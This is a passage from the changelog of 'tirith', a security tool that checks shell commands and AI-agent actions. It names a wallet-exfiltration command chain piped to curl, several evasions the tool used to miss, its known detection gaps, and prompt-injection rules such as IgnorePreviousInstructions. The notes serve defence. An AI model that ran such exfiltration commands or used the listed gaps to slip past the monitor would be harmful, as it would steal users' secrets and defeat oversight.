github。com; combining-mark and tier-routing invariants remain covered. - Deletion correlation false positives: shell redirection operands, attached redirections, heredocs, process substitutions, dynamic file descriptors, and parameter expansions are no longer counted as deleted paths. Concrete Hermes snapshot and sandbox artifacts are classified only under defensible generated-path shapes; variable-based cleanup through shadowable shell commands deliberately remains counted.
- Receipt and policy path containment: build receipts retain directory capabilities through traversal, revalidate quiescence and identity, reject unknown signed fields and attacker-controlled scan limits before work, and publish through contained atomic writes. Repository policy refuses intermediate symlink escapes while trusted user and organization policy keeps supported Nix/Home Manager final-symlink behavior.
- Private checkpoint storage: checkpoint operations no longer fall back to the shared legacy
/tmp/tirith/checkpointspath; they require a user-owned private state directory and validate its identity and permissions.checkpoints_dir()keeps its publicPathBufreturn type for source compatibility, while new code can usetry_checkpoints_dir()for an explicit unavailable state. Existing legacy files are not migrated automatically: inspect and remove/tmp/tirith/checkpointsmanually if an older release created it. - Private wallet paths in echoed command text: rules that echo raw command text when they exhaust a bounded-analysis budget (
container,sudo) carried a private wallet path into CLI evidence and into the persistent audit log. A path is not a secret byte string, so value-based redaction could not see it: a BIP-39 mnemonic in the same command was scrubbed while~/.config/Exodus/exodus.walletwas not. Path redaction is now applied at the shared entry point used by evidence, the audit log, andlast_trigger.json, driven by the same reviewed path catalog rather than a second list. - Wallet-exfiltration evasions:
xargsandfind -execoperand promotion, GNUparallel :::, single-file compressors (gzip -c,xz -c,zstd -c) whose path operand was being eaten by ahead/tailoption table, andopenssl enc -out/gpg -o/age -ostaged outputs were each a confident allow through a full exfiltration chain. All are now modelled, with the promoted-read cases marked incomplete where the file a utility opens is genuinely not statically knowable. - Test isolation: the gateway duplicate-id test no longer writes its strict execution ledger into the operator's real state directory under a fixed session id, and one lock now owns the process-global working directory for
cli::previewandcli::setup. - Cross-platform test contracts: Cline setup tests derive the same Documents directory as the installer, Windows extractor fixtures no longer depend on executing a
#!/bin/shfake, and Bash 3.2 compatibility tests no longer assert the Bash 5+ DEBUG-trampoline guarantee. - License classification probe: explicit non-CC0 licenses now increment their own counter instead of sharing the CC0 arm, so an MIT declaration is reported as another explicit license rather than CC0.
- Execution ownership and fail-closed supervision: timeout arithmetic is checked before spawn; Unix descendants remain in a supervised process group; Windows descendants are assigned to the intended job before they can escape; terminal state and cleanup failures are recorded instead of being inferred from launcher exit alone.
- Network, feed, and resolver boundaries: URL consumers use origin-aware redirects, bounded DNS and response work, rebinding-resistant resolution, proxy isolation where required, and explicit privacy rules for external reputation providers. Feed compilation and publication reject partial source trees rather than replacing a usable signed database with incomplete data.
- State integrity and audit privacy: sensitive values and reviewed private paths are redacted before persistence or rendering; audit, receipt, session, trust, registry, checkpoint, and canary files use private or contained atomic writes and surface write failures. Webhook command previews are represented by a redacted-only type so an unredacted command cannot be serialized by mistake.
- License and release boundaries: revocation-like webhook events that cannot be ordered are dead-lettered rather than dropped, dead-letter failures and internal server errors are logged, and an unparseable refresh-token timestamp fails closed. Release actions, images, runners, and package inputs are immutably pinned; validation and publication are separated; crates, npm packages, containers, checksums, signatures, and provenance are treated as single-use release artifacts.
The following limitations are explicitly deferred from 0.4.0. They remain documented release constraints rather than claims of complete enforcement.
- Broad custom-DLP patterns can rewrite generated machine fields. Several JSON/MCP projections recursively redact every string value after construction. Keys, booleans, and numbers survive, but generated enum labels, receipt types, content identifiers, hashes, and other protocol-owned strings can match an operator regex and be replaced, producing schema-valid JSON whose semantics or later signature/receipt verification no longer match. Custom DLP needs field classification so only untrusted/sensitive values are mutable.
tirith install --yesis an unattended task-policy approval. At the package-manager execution boundary, an explicit--yesmints the typedunattended_package_managerapproval required byaction_incomplete_analysis: require_approval; it does not require a TTY or a separate human. Do not userequire_approvalthere as a human-in-the-loop guarantee. Use a blocking task policy or omit--yesuntil unattended acknowledgement is separated from policy approval.- Interpreted MCP code binding is repository-wide and not execute-sealed. Exact binding hashes every regular file under the repository root, refuses symlinks/special files, and fails above fixed entry/file/byte limits rather than discovering the interpreter's true dependency closure, so a large or heterogeneous repository can make the gateway unavailable. The tree is rehashed immediately before spawn but the interpreter later reopens paths; a concurrent same-user mutation after revalidation can change the bytes actually loaded. Containment limits read reach but does not turn the snapshot into sealed reviewed bytes.
- Agent-host end-to-end verification remains manual. Fixture and adapter tests prove the generated contracts, but only a real host can prove config discovery, hook loading, and refusal behavior for its installed version. Grok Build, Cline, and OpenHands also run the tool when their hook process errors or times out. Do not equate
doctorartifact presence or an MCP listing with effective blocking. - Prime Agent IPython coverage is lexical, not a Python runtime boundary. Earlier-cell wrappers, reflection such as
getattr/__import__, and third-party packages that spawn processes cannot be proven by source extraction. Dynamic/unrecognized forms fail closed when they are visible to the extractor, but arbitrary kernel execution requires a separate interception layer. - A full disk locks a zsh or fish shell out of every command. The zsh widgets and the fish hook both create a scratch capture file through
mktempbefore the tirith binary runs and fail closed when that fails, so a full or read-onlyTMPDIRrefuses every command and every paste. Bash is unaffected: it degrades to preexec instead.TIRITH=0does not help, because it is honoured inside the binary and the binary is never reached. Recovery and prevention are documented in docs/troubleshooting.md. - Nested-shell exfiltration gap. A sensitive read inside a nested shell body whose sink is outside it (
bash -c "cat <wallet>" | curl -d @- <url>) is not correlated. The same chain wholly inside, or wholly outside, the-cbody is detected. Fixing it needs nested-body read-provenance propagation through the dataflow loop. forge createhas no grammar arm. The canonical Foundry deploy command yields an Unknown operation with anAmbiguousSubcommandgap. On the engine surfaces (tirith check, the shell hook,tirith_check_command, the gateway) that gap produces NO finding: the command returns a cleanallowwith an empty findings list and exit 0, becauseweb3_gate::checknever reads the parse result's gaps.tirith task checkdoes report it as"complete": false. Do not read engine-surface silence onforge createas a clean result.- Six
web3_guardfields are declared but inert.deny_destinations,require_command_card,command_card_key_ids,selector_aliases, and theweb3_guardcopies ofaction_incomplete_analysisandaction_ambiguous_hardhat_production_runare parsed, validated, repo-sanitized, and printed bytirith policy effective, but no rule consults them.tirith policy validatereports such a policy as valid. A denied destination is not flagged and a required command card is not demanded. - The schema-2 Web3 command card has no caller and no authoring surface.
Card::approves_web3,Web3CardBindings, andCARD_SCHEMA_V2are referenced only bycommand_card.rsand its own tests; the engine's card path is v1 string equality; andcommand-card createexposes no Web3 flags. It is a data structure, not a control that can be turned on. - Only the gateway-forward boundary records task-gate decisions.
is_recordable()has one production caller, so the other eight owned boundaries write nothing in observe or enforce mode. An observation burn-in cannot measure them.
- Evasion-resistant prompt-injection detection: a shared
deobfuscatetext-normalization pass (zero-width / invisible strip, Unicode confusable skeleton, NFKC, inter-character whitespace collapse, bounded leetspeak fold, and short base64 / hex decode behind a printable gate). Prompt-injection and config-file scanning now run against these normalized variants in addition to the raw input; raw scanning is never replaced. Typoglycemia (character transposition) is out of scope for now. PromptInjectionObfuscated(High): a new rule for an injection seed that matches only after deobfuscation, where the obfuscation itself is the signal. Raw matches still fireIgnorePreviousInstructions/PromptInjectionInOutput.OutputDataExfiltration(High, MITRE T1041): a newexfilrule for markdown / URL beacons carrying a secret-shaped token or canary, secret-shaped URL query values, and "read a sensitive path then send / post / upload" directives (including the "do not tell the user" stealth directive).injection_seeds_custompolicy field: add your own prompt-injection seed regexes via.tirith/policy.yaml, user, or org policy. A repo-scoped policy may add seeds (it can only tighten). Invalid regexes are reported bytirith policy validateand skipped rather than failing the load.mcp_redact_injectionpolicy field (default off): opt-in to downgrade an injection-only MCP tool-output block to a redacted warning, blanking the seed spans and forwarding the rest. Only user / org scope can enable it (a repo-scoped policy cannot weaken this), and it refuses to downgrade when any non-injection finding blocks or when structured content is present.- threatdb
ExfilEndpointsource (Primary tier): a known-exfiltration-endpoint hostname source, populated from the CI threat feed.
.deb/verify-selfbyte mismatch (issue #146): the Debian package now ships the exact canonical release binary instead of a separate rebuild, so an apt-installed tirith passestirith verify-self. A release CI guard asserts the.debbinary is byte-identical to the published tarball binary. The.rpmis still rebuilt against the target distro's glibc (so it keeps running on RHEL / Rocky 9) and is intentionally not byte-identical.verify-selfno longer falsely flags source-built installs:cargo install, AUR, and the distribution.rpmare compiled from source or against a different libc, so they cannot be byte-compared to the generic release binary. They now report an honest "unverified" (exit 0) rather than a false "modified or replaced" failure, and AUR installs on Arch and its derivatives are detected as such. Homebrew is handled the same way: the homebrew-core formula builds from source (distributed as a bottle), so a mismatch downgrades to "unverified" namingbrew install sheeki03/tap/tirith, while the prebuilt tap binary still verifies.- Scoop autoupdate URL: the release workflow no longer corrupts the manifest's autoupdate template (a loose version-matching pattern was rewriting the literal
v$versiontov0.3.2$version).
-
M5 platform & reach:
tirith lab(offline adversarial training corpus); Windows / PowerShell rules (ExecutionPolicy bypass, Defender exclusions, inline IEX download-execute). -
M5.5 / M6 install & fix:
tirith fix(interactive remediation presenter with a narrowly verified pipe-runner command when available);tirith installacross 12 backends;tirith doctor --quick. -
M7 output & egress firewall:
tirith view,output,share,redact,clipboard,logs; output-direction detection (OSC 52 clipboard writes, fake prompts, hyperlink / title manipulation);gateway run --filter-output,mcp-server --sanitize-tool-output. -
M8 operational context:
tirith context,ssh,iac,sudo,devcontainer,codespaces,prompt-status; labeled-prod, IaC-apply, sudo-escalation, and container rules. -
M9 workstation hygiene:
tirith hygiene,persistence,aliases,env,exec,path,hooks; credential-hygiene, persistence-foothold, PATH-hijack, and executable-provenance rules. -
M10 blast radius & isolation:
tirith preview,watch,taint,intend,baseline,temp-run,fetch --save; blast-radius, taint, and opt-in anomaly rules. -
M11 trust ecosystem:
tirith command-card,commands,canary,secret,incident; signed-attestation and canary-honeytoken rules. -
M12 browser & visual provenance:
tirith visual-audit,browser(Chrome native-messaging host),paste --with-source;paste_source_mismatchrule. -
M13 onboarding, dashboard & rule DSL:
tirith onboard,dashboard,rule(customwhen:predicate DSL),ai; AI-config drift rules; 7 policy templates. -
M14 IDE integration:
tirith lsplanguage server with editor analysis profiles. -
Agent-session guardrails:
tirith pending(decision registry),tirith audit verify(tamper-evident hash chain), per-rule suppression cooldown, checkpoint restore reporting, agent-memory config scanning, deferred outcome (tirith check --defer, exit code 4), and cross-event correlation rules. -
CLI transparency & safety UX:
tirith status(protection health, non-zero on degrade),tirith policy effective,tirith trust from-last-trigger, global--quiet/TIRITH_QUIET,tirith daemon start --detach;tirith check --suggest(renamed from--suggest-safe-command). -
Agent governance — engine wiring, bypass-path origin stamp, and shared YAML helper (M4 item 8 chunk 3) — chunk 3 of the per-agent governance work. Turns chunk 2's observation-only
agent_rulesschema into enforcement, fixes the engine's bypass-path double-log so aTIRITH=0-bypassed BLOCK records exactly one audit entry withagent_originpopulated, and consolidates the duplicatedyaml_safe_scalar/yaml_safe_inline_commenthelpers into a single shared module. (1) Engine wiring —apply_agent_rulesruns insidepost_process_verdict. A new helpercrate::escalation::apply_agent_rules(&mut Verdict, &Policy)consultspolicy::agent_decisionagainstverdict.agent_originand applies the minimal chunk-3 cut:Deniedforcesaction = Blockand appends a freshFinding { rule_id: RuleId::AgentDeniedByPolicy, severity: High, … }whose description names the matched origin (Debug-escaped) and the policy file path;AllowedandUnspecifiedleave the verdict alone (andagent_origin: Noneis treated asUnspecified— an engine path that never set an origin has nothing to match against). The splice is after escalation and before warning recording so escalation-driven Blocks stay Block and the Warn-recording path correctly skips when chunk 3 flips to Block. Existing detection findings are preserved —agent_ruleslayers on top, never replaces. Allow is NOT a bypass — a verdict the engine already blocked stays blocked even if the caller is on the allow-list; richer "trusted agent" semantics (severity overrides onallow,approval_required: true, per-originfail_mode) are deferred to a future chunk pending real telemetry from chunk-2'stirith agent sessionsreads. (2) NewRuleId::AgentDeniedByPolicywired through every safeguard touchpoint:verdict.rs(enum variant),scoring.rs(the structural arm ofis_threat_intel_rulereturnsfalse),build.rs(EXPECTED_RULES),golden_fixtures.rs(ALL_RULE_IDS+EXTERNALLY_TRIGGERED_RULESsince the rule fires from policy state, not from input characters),assets/data/rule_explanations.toml(full operator-facing entry — title, categorypolicy, severity rationale, threat-model recap, false-positive guidance pointing attirith agent allow, remediation). The fourgolden_fixtures.rssafeguard tests (test_all_rule_ids_have_fixture_coverage,test_no_url_rules_have_no_url_fixtures,test_extractor_ids_cover_rule_triggers,test_tier1_does_not_gate_findings) andtest_rule_id_list_is_completeall pass — every touchpoint stays in sync. (3) Bypass-path origin stamp. Pre-chunk-3, whenTIRITH=0was honored,engine::analyze_innercalledcrate::audit::log_verdictitself — inside the engine, before the CLI got a chance to setagent_origin. Then the CLI also calledlog_verdict, producing a double audit entry where the first entry was missing origin and the second one had it. Chunk 3 removes the engine's bypass-path audit entirely; the caller is now the single audit site for the engine-driven analysis paths (cli/check.rs,cli/paste.rs,mcp/tools.rs::call_check_command) and always stampsagent_originfirst.cli/paste.rsandmcp/tools.rspreviously SKIPPED audit onbypass_honored(trustinganalyze()to have logged); both now audit unconditionally after stamping origin.cli/check.rswas already auditing in this branch; it now stops double-logging because the engine no longer logs. The same review-round pass extended the stamping invariant to the analysis-then-audit paths that previously calledaudit::log_verdictwithout settingverdict.agent_origin:cli/install.rs(both the package-manager and URL forms) andcli/ecosystem.rs::scannow resolve the CLI origin (resolve_cli_origin(interactive)) and stamp it on the verdict before the audit write, sotirith installandtirith ecosystem scanaudit lines are attributed instead of landing intirith agent sessions' "unknown" group. The gateway path stampsAgentOrigin::Gatewayon the in-memory raw verdict in chunk 1 and persists the same constant in its local stderr-JSONLAuditEntry<'a>via a new always-setagent_originfield — closing a pre-chunk-3-follow-up gap where the in-memory verdict carried origin but the serialized line dropped it. The audit-aggregatortirith agent sessionsdocumentation incrates/tirith/src/main.rsis updated to reflect the closed audit sites; the help text is explicit that origin attribution is best-effort and a future analysis-then-audit path that does not stamp origin will still land its entries in the"unknown"group rather than be silently attributed. (4) Chunk-2 test retired.agent_rules_chunk2_loading_changes_no_verdict(incrates/tirith-core/src/policy.rs) was the explicit "chunk 3 must retire this" contract; it's gone, replaced by five chunk-3 tests incrates/tirith-core/src/escalation.rs::tests:agent_rules_deny_forces_block_on_allow_verdict,agent_rules_deny_keeps_block_on_already_blocked_verdict,agent_rules_allow_does_not_bypass_block,agent_rules_unspecified_leaves_verdict_unchanged, and the critical regression guardagent_rules_unset_does_not_introduce_finding(legacy policies with noagent_rulesblock stay byte-for-byte identical to pre-chunk-3 behavior). Plusapply_agent_rules_returns_true_only_on_denied(helper signature),apply_agent_rules_no_origin_is_treated_as_unspecified(None handling), andagent_rules_finding_description_escapes_hostile_origin_payload(Debug-format pinning so a future control-byte-bearing origin can't leak through the audit description). The narrower "engine::analyze itself ignores agent_rules" claim — which IS still true; enforcement lives inpost_process_verdict, not the raw engine — is pinned by a newengine_analyze_does_not_consult_agent_rulestest that replaces the retired one. The chunk-2 field-level invariant (agent_rules_chunk2_observation_only_invariant) is preserved with an updated docstring noting it now guards againstagent_rulesaccidentally bleeding into adjacent mechanisms (allowlist / blocklist / severity overrides). (5) Shared YAML helper module —crates/tirith/src/cli/yaml.rs. Pre-chunk-3,yaml_safe_scalarandyaml_safe_inline_commentlived as two byte-identical copies incli/mcp.rsandcli/agent.rs. Chunk 3 consolidates both into a singlepub(crate)module so future changes (and the DEL-escape post-process that previously had to be ported by hand) live in one place. Both call sites now importsafe_scalar as yaml_safe_scalar(and same forsafe_inline_comment+YAML_NEEDS_QUOTING_BYTES) so the existing call-site code and tests stay readable. The exhaustive round-trip test incli/mcp.rs::yaml_safe_scalar_round_trips_through_yaml_parser(every YAML special character, every C0 control byte, DEL, multi-byte UTF-8, empty string) still passes byte-for-byte; the shared module ships its own smoke-test suite (safe_scalar_empty_becomes_quoted,safe_scalar_plain_identifier_is_bare,safe_scalar_quotes_yaml_indicator_byte,safe_scalar_quotes_control_bytes,safe_scalar_escapes_del_for_yaml_roundtrip,safe_inline_comment_passes_safe_strings_unchanged,safe_inline_comment_escapes_control_bytes) so this module is green on its own. (6) Design doc updated —docs/agent-governance-design.md§ 5 flipped from "shipped in chunk 2 (observation-only)" to a full chunk-3 status table mappingAgentDecision→ verdict effect, and § 6's chunk-2 out-of-scope items "policy enforcement" and "the bypass-path double-log" are marked Resolved in chunk 3. A new chunk-3 out-of-scope block documents the deferred richer matcher payloads. Trust model unchanged from chunks 1 + 2. Every signal feedingAgentOriginis still operator-trust, never adversary-resistant —TIRITH_INTEGRATION, MCPclientInfo, CI env vars,is_terminal()are all settable by any process running as the user.agent_rulesenforcement layers on top of caller-claimed signals: a policy author who treats adenymatch as "this came from a hostile caller" is wrong; they're rejecting whatever the caller claimed their identity is. Use this for operator-trust scoping (the operator declares "I don't run my MCP server'stools/callon commands my CI ran"), not for adversarial security. Like every other engine path,apply_agent_rulesis off the tier-1/2/3 detection hot path and touches no network. -
Agent governance — CLI surface +
agent_rulespolicy schema (M4 item 8 chunk 2) — chunk 2 of the per-agent governance work, building on chunk 1'sAgentOriginscaffolding. Chunk 2 was observation-only: it made chunk 1's recorded signal inspectable and added the policy schema chunk 3 wires on, but no engine path consultedagent_rulesto change a verdict in this chunk. Enforcement landed in chunk 3. The original regression testagent_rules_chunk2_loading_changes_no_verdict(incrates/tirith-core/src/policy.rs) was retired in chunk 3 as that chunk's contract required. (1) New CLI group —tirith agent— four subcommands grouped under a single verb mirroringtirith mcp.tirith agent sessionsreads the local JSONL audit log, groups everyverdictentry by its recordedAgentOrigin, and reports per-group counts, last-seen timestamps, and an Allow/Warn/Block histogram (withWarnAckfolded into the warn bucket). Hook-telemetry rows are filtered out (those are not verdicts and carryagent_origin: Noneby design). Entries with noagent_originland in an explicit"unknown"bucket rather than being silently dropped — honesty over apparent tidiness.--format jsonemits a stable envelope (schema_version,log_path,group_count,total_entries,groups). A missing audit log is NOT an error: it reports plainly with zero groups and exits 0.tirith agent explain <query>drills into one session id (exact match) or command substring (case-insensitive, also against the rendered origin label so an operator can search for"claude-code"), surfacing up to 20 matches sorted newest-first with the attribution chain:AgentOrigin, redacted command, action, timestamps, rule IDs, bypass state, and policy path.tirith agent policy initscaffolds.tirith/agent-policy.yaml.examplefrom the audit log's distinct observed origins — every entry commented out by design (mirrorstirith mcp policy init's convention — importing a scaffold must never silently widen trust). The scaffold is deterministic: origins are sorted by(kind, payload), the header is fixed, and no timestamps are embedded, so two runs against the same log produce a byte-identical file. A missing log writes a header-only template rather than failing — the operator gets a starting point either way.--forceoverwrites an existing example; without it, the example is preserved.tirith agent allow --kind <kind> [--tool <name>]validates an(kind, tool?)matcher pair and prints the YAML snippet an operator pastes underagent_rules.allow:in their policy. It deliberately does NOT mutate any policy file —agent_rulesis observation-only today, and silently appending would suggest enforcement that does not exist yet; the operator integrates it themselves the same way they integratetirith mcp policy init's example output. Validation:kindmust behuman/agent/mcp/gateway/ci/ide;--toolon a payloadless kind (human,gateway) is rejected up-front because it would match nothing; an empty--tool ""is rejected for the same reason. (2) Policy schema —agent_rules— additive field onScanPolicyConfig's parentPolicystruct.AgentRules { allow: Vec<AgentMatcher>, deny: Vec<AgentMatcher> }, withAgentMatcher { kind: AgentOriginKind, tool: Option<String> }whereAgentOriginKindis a separate closed enum mirroringAgentOrigin's discriminator (cleaner deserialization, rejects an unknownkindat policy-load time rather than silently matching nothing). String matching is case-sensitive exact —claude-codedoes not matchClaude Code; the design doc records (Q2) that normalization is intentionally deferred until chunk 3 has a real telemetry sample set. (3) Pure decision helper —policy::agent_decision(&policy, &origin) -> AgentDecision— walksdenyin declaration order (first match →Denied), thenallow(first match →Allowed), elseUnspecified. The helper is not consulted by the engine in chunk 2; chunk 3 will wire it into the verdict pipeline. Atoolfilter applied toHumanorGatewayis harmless (those variants carry no caller-claimed payload — the helper matches nothing); the policy validator surfaces it as a warning so the operator notices the typo. (4) Policy validator updates —policy_validate.rsaddsagent_rulesto the known top-level fields list (so it doesn't trip the "unknown field" warning) and emits Warning-level diagnostics for matchers shaped wrong:toolon a payloadless kind, emptytool: "".threat_intelwas also added to the known list — a pre-existing typo-guard gap that's now closed. (5) Policy template updates — thefull,individual,ci-strict, andai-agent-heavytemplates produced bytirith policy initnow include documented but commented-outagent_rulesexamples tuned to each scenario (CI gets akind: ci, tool: github-actionsallow; ai-agent-heavy gets both allow and deny examples). All templates still validate. (6) Design doc updated —docs/agent-governance-design.md§ 5 flipped from "preview, not built in this chunk" to "shipped in chunk 2", with command-line examples, exit-code semantics, the matcher shape decision (closedkind+ free-formtool, per Q1's recommendation), and the schema-vs-enforcement boundary. Out-of-scope sections clearly delineate chunk-1, chunk-2, and chunk-3 boundaries. (7) YAML safety — server / origin payloads passed throughyaml_safe_scalarare quoted-and-escaped before they reach the example file or thetirith agent allowsnippet output. A maliciously-crafted tool name containing:,#, newline, or ANSI escape cannot break the YAML structure or inject control sequences when the operatorcats the file. The snippet round-trips cleanly throughserde_yamlafter pasting; a dedicated test covers a hostile-payload scaffold parsing back unchanged. Trust model unchanged from chunk 1. Every signal feedingAgentOriginremains operator-trust, never adversary-resistant —TIRITH_INTEGRATION, MCPclientInfo, CI env vars,is_terminal()are all settable by any process running as the user.agent_rulesis for filtering, dashboarding, and observability; if a policy decision must withstand a hostile environment, layer real authentication elsewhere. No newRuleId. Whether enforcement should produce a distinctRuleIdor reuse an existing one is a chunk-3 decision. Like every other observability surface, every command is a local file operation: it touches no network and is off the tier-1/2/3 detection hot path. -
Agent governance — design spike + observability scaffolding (M4 item 8 chunk 1) — the first artifact of the per-agent governance work, deliberately split off from any enforcement code. (1) Design document at
docs/agent-governance-design.mdrecording the threat model (every signal is operator-trust, not adversary-resistant —TIRITH_INTEGRATION, MCPclientInfo,is_terminal(), every CI provider env var is settable by any process running as the user), the closed enum surface, the population path throughVerdict→AuditEntry, a preview of the plannedtirith agent sessions / explain / policy init / allowsubcommands (chunk 2+), and a section of open questions for the next chunk. The design is explicit that chunk 1 is observation-only: no policy gate consumes the new signal, noRuleIdis added, noActionis changed, and the safeguard tests ingolden_fixtures.rsstay untouched. (2)AgentOriginenum atcrates/tirith-core/src/agent_origin.rs— a closed tagged union with six variants (Human { interactive },Agent { tool, version? },Mcp { client_name, client_version? },Gateway,Ci { provider? },Ide { name }). Every caller-supplied free-form string (tool name, client name, provider, IDE name, version) passes throughsanitize_caller_label/sanitize_caller_version: trim ASCII whitespace, drop ASCII control bytes + Unicode invisible / format / surrogate codepoints (the same classes the byte-scan rules already flag in command input — re-emitting them through the origin label would defeat the scan), and cap at 256 bytes for labels / 64 bytes for versions with char-boundary truncation so a multibyte UTF-8 sequence is never sliced mid-codepoint. A million-byte hostileTIRITH_INTEGRATIONcannot crash, cannot inject newlines into an audit log line, cannot inject ANSI escapes into a terminal, cannot bloat the entry — every constructor path is covered by a unit test. (3) CLI-side environment resolver —resolve_cli_origin(interactive)reads the current process env in fixed priority order:TIRITH_INTEGRATIONset →Agent, named CI provider env set (GITHUB_ACTIONS,GITLAB_CI,BUILDKITE,CIRCLECI,JENKINS_URL,TRAVIS,TF_BUILD,BITBUCKET_BUILD_NUMBER,TEAMCITY_VERSION,DRONE,CODEBUILD_BUILD_ID) →Ci { provider: Some(canonical-tag) }, genericCI=true→Ci { provider: None }, elseHuman { interactive }. The provider tag (github-actions, etc.) is a fixed string chosen by tirith — never assembled from attacker bytes.CI=falseis correctly treated as "not CI". (4) MCP-side per-session origin store atcrates/tirith-core/src/mcp/origin.rs— the dispatcher capturesinitialize.clientInfoonce and writes it to a process-scopedRwLock<Option<AgentOrigin>>; every subsequenttools/callreads it back. AbsentclientInforecordsMcp { client_name: "unknown-mcp-client" }rather than falling back toHuman— "this came from MCP" remains structurally true even when the client is anonymous.client_infois no longer#[allow(dead_code)]. (5) Plumbing into the verdict and audit layers —Verdict.agent_origin: Option<AgentOrigin>andAuditEntry.agent_origin: Option<AgentOrigin>are both additive, both serde-default-on-parse (oldlog.jsonllines without the field still load throughaudit_aggregator::AuditRecord), and bothskip_serializing_if = "Option::is_none"(a verdict that never had its origin set produces noagent_originfield on the wire). The CLIcheck/pastepaths stamp the origin on the raw verdict immediately afterengine::analyze; the MCP tool handlers (tirith_check_command,tirith_check_url,tirith_check_paste) read from the session store; the gateway request and notification paths both stampAgentOrigin::Gateway.log_verdict_with_rawreadsverdict.agent_originand copies it toAuditEntry.agent_origin— no caller wiring changes; populating the verdict is sufficient. Hook-telemetry and trust-change audit entries leaveagent_origin: None(those entry types are not verdicts and their existingintegrationfield already identifies the hook). No newRuleId, no policy enforcement, no schema bump. Chunk 1 ends here; chunk 2 wires thetirith agentsubcommands and the per-origin policy gate. -
MCP policy governance —
scan.trusted_mcp_servers,scan.mcp_allowed_tools, andtirith mcp policy init— chunk 3 of the Agent & MCP governance work. The policy fieldscan.trusted_mcp_serversalready existed in the schema but was not consulted by any rule; chunk 3 wires it through. An MCP server NAME listed there now suppresses every per-server MCP config finding (mcp_insecure_server,mcp_untrusted_server,mcp_suspicious_args,mcp_overly_permissive, andmcp_duplicate_server_namewhen the duplicate's name is itself trusted), and filters drift entries with that name out of themcp_server_driftfinding — so a server the operator has reviewed and accepted neither raises config-side noise nor counts as drift. The filter is fine-grained: when every drift is for a trusted server, no drift finding fires; when some drifts are for trusted servers and others are not, only the untrusted ones surface — the trusted entries are dropped, not "trust the whole batch or none". An unparseable lockfile still fires (we cannot know which servers it concerned), exactly as it did before. Trust matching is case-sensitive and exact-string — MCP server names are arbitrary identifiers, not URLs, so locale-insensitive folding would be the wrong default. New policy field —scan.mcp_allowed_tools— aHashMap<String, Vec<String>>keyed by MCP server name, listing the exact tool names that server may expose. Two effects, both surfacing through the existingmcp_server_driftrule (no newRuleId): (1) At drift time, when drift exposes a tool to a server whose name is a key inmcp_allowed_toolsand that tool is NOT in the allowed set, the drift finding is upgraded from the default Medium to High severity — adding a tool outside the allowed set is a stronger signal than ordinary drift. The ladder covers both drift shapes that can introduce new tool exposure: aChangeddrift (an existing server gains a new tool — checked viatools_added), and anAddeddrift (a brand-new server appears with a disallowed tool in its declared tool list). Without theAddedarm, an attacker could smuggle a disallowed tool by introducing a new server rather than mutating an existing one, and the finding would stay at the default Medium; the ladder applies symmetrically to both paths. Drift inside the allowed set keeps Medium; anmcp_allowed_toolsentry of[]for a server forbids ANY tool on that server (every new tool is out-of-set); aRemoveddrift does not feed the ladder because the ladder is about new exposure, never lost exposure. (2) At lockfile load, when the lockfile itself records tools outside the allowed set for a server (the failure mode of "an MCP tool was snuck pasttirith mcp lock"), a High-severitymcp_server_driftfinding fires naming the offending tools — alongside any other drift findings, so an operator sees both the immediate violation and the broader inventory state. A server NOT listed inmcp_allowed_toolsis unconstrained — the gate is opt-in. New command —tirith mcp policy init— scaffolds a starter MCP policy from the current.tirith/mcp.lock. It writes.tirith/mcp-policy.yaml.examplelisting every currently-locked server as atrusted_mcp_serverscandidate (deduplicated by name, since the same name can legitimately appear in two configs) and every currently-recorded tool list as anmcp_allowed_toolsentry. Every entry is commented out by design — importing the example must NEVER silently widen trust; the operator reviews the scaffold, uncomments what they intend to declare, and merges it into.tirith/policy.yamlthemselves. A separate.examplefile is cleaner than mutating an existingpolicy.yaml(the operator candiffthe scaffold against their working policy and integrate the bits they want). The scaffold is deterministic — runningmcp policy inittwice against the same lockfile produces a byte-identical example file; the lockfile is already sorted by(name, source_config), and the scaffold sorts further viaBTreeSet/BTreeMap. Server / tool names are YAML-quoted-and-escaped before they reach the example — a maliciously-crafted server name containing a:,#, newline, or ANSI escape cannot break the YAML structure or inject control sequences when the operatorcats the file.--forceoverwrites an existing example file; without it, an existing example is preserved (the operator may have edited it to track their working policy).--format jsonemits a structured planned-policy preview (server count, tool count, the scaffold itself) so a CI integration can ingest the proposal without reading the file. A missing lockfile is NOT fatal — a header-only scaffold is still written so the operator has a starting point; an unparseable lockfile IS fatal (exit 1) because we cannot tell what to list. No newRuleId. Chunk 3 reusesMcpServerDriftfor the lockfile-side disallowed-tool flag and the existingMcp*rules for the config-side suppression — the fourgolden_fixtures.rssafeguard tests, the structural arm inscoring.rs, theEXPECTED_RULESmap inbuild.rs, theALL_RULE_IDSlist, andrule_explanations.tomlneed no schema changes. The policy template (policy.yaml) gains documented but commented-outtrusted_mcp_servers/mcp_allowed_toolsexamples in thefull,individual,ci-strict, andai-agent-heavyvariants, so a freshtirith policy initshows what the fields look like even before the operator runsmcp policy init. Policy validation already acceptedscan.mcp_allowed_toolsas a known field name (it was added in the schema work that introduced the field). Like every othermcpsubcommand,policy initis a local file operation — no network, off the tier-1/2/3 detection hot path. -
MCP lockfile drift detection —
tirith mcp verify,tirith mcp diff, and themcp_server_driftscan rule — chunk 2 of the Agent & MCP governance work.tirith mcp verifyrebuilds the current inventory and compares it against the committed.tirith/mcp.lock: it exits 0 when the two match, 1 when drift is detected (a server added, removed, or altered — transport, env, declared tools, or URL credentials), and 2 on a usage error (no lockfile to verify against, lockfile unreadable, repo root unresolved). The exit-code split lets a CI integration distinguish "the lockfile is stale" (1, the build must fail) from "there is no lockfile to verify" (2, the build must abort with a clear message).tirith mcp diffshows the same drift but informationally — it exits 0 whether or not drift is present (drift is reported, not enforced), but a usage error (missing lockfile, unreadable lockfile, unresolvable repo root) still exits 2 so a piped consumer can distinguish "no drift" from "I could not check" — for inspecting a config change before refreshing the lockfile. Both support--format jsonwith a stable envelope (schema_version,repo_root,lock_path,command,lockfile_format_version,drift_count,added_count,removed_count,changed_count,in_sync, and a sorteddriftsarray; the drift list is byte-stable regardless of inventory order). Drift is also detected in thetirith scanFileScan path via a newRuleId::McpServerDriftrule (Severity Medium, "review me" not "block"): whentirith scanwalks a repository and reaches.tirith/mcp.lock, the rule parses the lockfile, rebuilds the inventory from the repo's MCP configs, and fires when the two differ — so a pre-commit hook or CI scan catches an MCP-surface change the same way it catches an un-pinned action or smuggled instruction. The structured drift core distinguishes every category from the chunk-2 brief: server added, server removed, transport changes (KindChanged,UrlChanged,UserinfoAdded/Removed/Swapped,CommandChanged,ArgsChanged,EnvChanged), per-env-variable changes (Added/Removed/ValueHashChanged), and 